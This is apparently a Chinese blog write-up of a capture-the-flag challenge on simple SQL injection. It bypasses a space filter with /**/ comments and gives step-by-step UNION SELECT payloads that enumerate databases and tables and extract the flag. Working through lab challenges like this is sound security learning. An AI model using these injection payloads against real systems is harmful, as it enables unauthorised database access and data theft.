根据页面提示，到底过滤了什么东西？可以知道一定过滤了什么....

    分别输入1,2,3有对应的结果

    使用‘会报错，于是

    构造常用的sql语句：1‘ and ‘1‘=‘1

    没有反应试一试1‘ and ‘1‘=‘2

    还是没反应，工具提示，应该是过滤了什么，改一下sql语句试一试

    1and1=1

    可以显示东西，经过判断过滤了空格，我们使用/**/来代替空格

    试一试1‘/**/and/**/‘1‘=‘1

    发现有结果了：

    于是构建sql语句：

    判断有那些数据库：                   

    1‘/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/‘1‘=‘1

    可以看到结果：

    查看有哪些数据表：

    1‘/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/‘1‘=‘1

    发现了flag的表，我们猜测应该是在web1数据库中并且字段就是flag（其实就在本页面的数据库中）

    故：

    1‘/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/‘1‘=‘1

本人也是初学者，参考了许多大佬的wp 自己写出来后有什么错误的地方，希望大家指出，谢谢！

本文出自 “11846238” 博客，请务必保留此出处http://11856238.blog.51cto.com/11846238/1947684

4.简单的sql注入